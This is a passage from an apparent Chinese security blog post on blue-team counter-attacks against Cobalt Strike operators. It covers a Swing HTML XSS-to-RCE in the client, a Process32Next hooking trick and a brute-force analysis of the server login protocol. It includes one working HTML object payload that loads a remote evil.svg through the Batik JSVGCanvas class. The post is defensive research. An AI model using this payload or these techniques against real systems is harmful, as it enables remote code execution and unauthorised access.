2、rce
那么这里是如何从xss到rce的呢,漂亮鼠师傅在其文章:
https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
写的比较清除了,建议阅读原文。
这里笔者简单描述下这一过程,当我们通过swing里面引用html渲染的时候,如果我们引用的相应标签的时候,会通过javax.swing.text.html.HTMLEditorKit类中create方法来创建对应的元素,当我们传入的标签是一个HTML.Tag.OBJECT类型的标签的时候
会调用new ObjectView()来生成对应的元素,这里面解析object标签的时候会根据其Classid来解析,在这个过程中会通过Class.forname加载对应类然后通过newinstance获取classid传入类的实例,并且当该类继承了Component时,会调用setParameters方法,在这个方法里面一定情况下会反射调用对应类的对应参数的set方法(这里的条件是:该方法的传入参数只有一个且是String类型),并且该set方法传入的参数也是我们可控的,从而这里就出现了一个漏洞利用的可能。
所以接下来就是找利用链了,简单总结下对应类要满足的条件:
1、这个类要有一个无参构造方法(newInstance调用的是无参构造来创建实例)
2、这个类继承Component
3、这个类的某个属性的set方法,传入的参数是String类型的
4、通过这个类的set方法要能间接的拿到sink点
通过这种筛选,笔者尝试使用codeql找了找,太菜,没找到。
找了个poc:
[https://github.com/its-arun](https://github.com/its-arun)
这里使用的类是org.apache.batik.swing.JSVGCanvas这个类,这个类继承Component,并且存在无参构造方法,其URI属性,即setURI是利用点:
如下,测试setURI方法:可以看到这里实现了RCE
所以payload就是这样了:
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.129.1:8081/evil.svg'></param></object>
当然这里还有一些问题,如果我们去复现的话,想通过伪造元数据来上线,从而实现rce,这样是不行的,这里的长度是超了的:
这里就只有两种思路:
1、找其他的sink点,短的payload
2、从流量测做文章,元数据不行,那我们就换一个角度
网上师傅多是通过第二种思路做的,这个漏洞的核心是swing的html兼容导致,那么其实按道理只要没有对传入的参数做检查过滤,aggressor里面的swing组件都能触发这些,所以这里我们可用利用受害端和server端的命令执行的通信流量来实现rce,命令执行的流量是通过aes加密传输的,所以这需要获取正常上线元数据中的aeskey,受害端通过aes加密将响应流量返回到cs的server,cs的server接收到对某修属性进行操作的时候,如果某些参数直接用在swing的组件内容中,那么我们就可以实现rce了,这里aes的长度就没限制了。
网上的很多师傅是借助ProcessList来实现的,对进程的name进行hook,
将beacon.exe自己的name修改成我们使用的payload。
如下是上面项目中实现hook的代码:
上图,给我看懵了笔者没用过这个frida的脚本,也不会写,这么秀的吗,这么简单的嘛,因为之前笔者拿c++去实现过伪装进程的程序,于是就先入为主,认为Process32Next获取的ProcessENTRY32结构体好像根本改不了,要从peb那边去找Processparameters,然后找imagepathname和commandline做修改,而且效果不好,在win10和win11上没有实现篡改这个进程名,可以实现对commandline的修改,而且修改peb里面的相关参数的时候,还有长度限制,超过原来长度,自动被截断了反正没达到想要的效果。最后回头一看发现自己对hook这个概念还是没有理解透彻,其实这里并没有真正的修改进程的名称,而是在kernel32.dll的导出函数Process32Next里面做了个挂钩,当有调用这个函数的地方的时候(查询进程相关信息的时候会调用这个方法,也就是cs的processlist里面的进程名的由来),这个挂钩会去检测返回的Processentry32里面的ImageFileName字段是否是beacon.exe,是的话就会替换成我们的payload,学废了学废了,如下图中标注的:
那么这种方式实现的rce,在cs反制中使用的场景是:
拿到攻击者的样本之后,找一台测试机运行对应样本,hook修改里面的进程名之类的东西,然后等攻击者上线就行了,这样就巧妙的避开了要去伪造流量的麻烦了,也不用管其c2.profile怎么配置的,直接真实上线,然后等攻击者上钩,注意这里最后被rce的机器是攻击者aggressor所在的客户端,但是这种通过命令执行流量实现的rce其危害是没有直接在元数据中伪造上线影响面广的,后者相当存储性的xss,所有登录上去的aggressor端都会受影响,所以这里最理想的rce应该是通过元数据伪造实现的rce,即换条长度短的链路。
不管是哪种思路,这里这个cve的危害程度都是非常高的,利用起来也不难,笔者之前在https://forum.butian.net/share/1934一文末尾提到的伪造流量是困难的观点也将不再成立,通过这种真实上线的确不需要伪造流量了。
从攻防的角度上看,这种反制其工效有点类似内网中的蜜罐,同样都是让攻击者进来,然后故意被攻击者打,让攻击者在进攻的过程中踩到我们的陷阱。从而获取攻击者的一些信息或权限反制。
三、爆破server口令
这种方式是当我们返现一个vpn运行了cs server的时候,我们通过口令字典对server端实现爆破,从而登录server,获取攻击者的相关信息,搞破坏。
局限性比较大:
1、攻防中基本没人会直接使用自己服务器做c2,都是各种骚操作来隐藏c2,如:域前置技术、云函数转发等等,所以我们很难找到真实的c2。
2、攻防中,通常是由攻的那一方使用cs,本身都是渗透攻击方面的人,出现弱口令的几率小。
3、如果是攻防场景下,团队使用的CS ,可能登录协议是魔改过的,我们写的爆破脚本,只能爆破原版的cs。
4、貌似是cobaltstrike3.6左右之后,cs对这种爆破做了一定的防御措施,就是一个同步锁,使爆破效率低下。
这里我们简单来看下cs的server端和cs的aggressor端之间的登录验证协议:
登录协议
Cobaltstrike 4.1中的Cobaltstrike aggressor 和server之间的登录协议:
首先我们在aggressor端输入了对应的cs c2的地址、端口、密码之后:
1、aggressor端和server端建立ssl连接:
如下在aggressor.dialogs.Connect
类的dialogAction方法中实现:
2、server端自启动之后,其实就是一直处于阻塞状态,监听我们指定的端口:
如下图,是在ssl.SecureServerSocket
类的acceptAndAuthenticate方法中通过ServerSocket的accept方法阻塞监听对应端口,
3、aggressor端发送构造的特殊数据到server端:
如下图,aggressor端调用了SecureSocket的authenticate方法,并传入参数,这个参数就是我们输入的密码:
在authenticate方法中构造待发送的数据:如下图,简单分析可以得到构造的数据的形式是:
48879 + 密码的长度 + 密码 + 补位(256-密码长度)个65(A)
4、server端会在authenticate方法里面将socket的client端也就是我们使用的aggressor端发送来的数据进行处理:
如下图,authenticate对接收到数据的处理:经过验证后拿到传输过来的密码
这里我们简单提一下,48879这个int,int占4个字节,所以转成16进制,就是0000BEEF,笔者发现cs里面很喜欢使用这个标记,包括在元数据首部也是这个标记,可能作者很喜欢吃牛肉?,还是说和那个web框架的测试平台beef有什么关联,没懂:
5、server端拿到通过特定协议传输过来的口令之后,会和本地口令做校验,校验通过就会发回一个特定数据:
如下图是server端的发回的数据,当口令正确回传一个int类型的51966,不正确就回传0。
到这就够了,我们就不需要继续分析下去了,虽然后面还有一堆操作,但是目前的上面几步就足够我们来判断爆破的结果的对错了。
aggressor端接收到51966就说明我们密码爆出来了,接收到0就说明密码错误。
(51966转成16进制是CAFE。。。 这让笔者想到了java,记得之前上大学的时候,听老师说java的由来就是程序员通过咖啡来命名的,爪哇是一个比较有名的咖啡种类好像,不知道这里面是不是和cs的创造团队有什么关联和故事)
同时我们这里也能看到,CS官方对爆破的防御处理:
如下图,红框中的代码就是cs对爆破的防御手段,上了一个同步锁,调用sleep函数,睡眠0-1秒。所以我们爆破只能迁就其最大值,1秒钟只能爆一个值,所以爆破这个方法就比较鸡肋了(一个10万的字典在不考虑网络延迟的情况下都得跑一两天,这期间还容易被server的控制者发现,所以就很难了)
这里笔者就不做总结了,就是非常简单的一个cs自制的登录协议,所以很多团队型的server是会对其进行魔改的,自制登录协议。
四、旁路反制
这个就比较泛泛而谈了,好比渗透测试或者是rt打项目的时候,如果目标找不到利用点进去,就可以从旁站看看对吧,所以这种旁路反制亦是这样,我们发现一个c2上运行着cobaltstrike server了,然后上述的其他反制手段都行不通,这时我们就可以看看,这个c2上是不是还有其他的服务,我们对其端口进行扫描,获取相关信息,从其他服务的缺陷来实现反制,举个例子,很对rt或者攻击者在遇到weblogic、fastjson、log4j2等jndi漏洞的时候,要进行漏洞利用就得起rmi或者ldap,server,自己手动起是很麻烦的,所以网上会有很多的自动化工具,这对于攻击者来说是一个不错的选择。那么如果我们发现网上这类工具的一些rce了,就可以通过这个来反制。
前段时间参加某次演习活动的时候,通过一些手段拿到了一个c2,对c2进行扫描后发现,其相关端口搭建的服务是nps的web控制端服务,所以后续就可以通过爆破该服务来实现反制,虽然后续爆破无果,后续的话正好当时nps是爆出来了个鉴权的漏洞,通过这个漏洞我们实现反制,拿到了攻击者的一些信息,以及其掌握的相关权限。
总而言之,旁路反制的这个概念是非常广泛的,手段也是层出不朽的。在近些年的攻防的博弈中,防守方的防守体系已经逐渐体系成熟化,并且也逐渐开启了一些反制的号角,这里面蜜罐是最具有里程碑意义的。笔者认为一方攻一方守并不是所谓的攻防,攻防也者,应该是来回交战,攻中带防(攻击者要能掌握反反制手段),防中带攻(防守者要能抓住攻击者露出的马脚,进行反制),就和古代武侠比武一样。
总结
笔者感觉其实攻防场景下的蓝队的反制手段目前都是不成体系的,不像rt一样,有自己的体系,有成熟的ATT&CK框架的以及相关的利用思路,其实不论是攻还是防,都能够结合ATT&CK形成自己的技战术(TTPS)。但是因为大多数的技术人才和研究型的人才是在为红队体系工作,当然这其中还有一些其他的因素,这样就会导致出现攻防中实力的悬殊,所以蓝队体系下的反制什么时候才能形成公认的体系和具有统战价值的TTPS呢?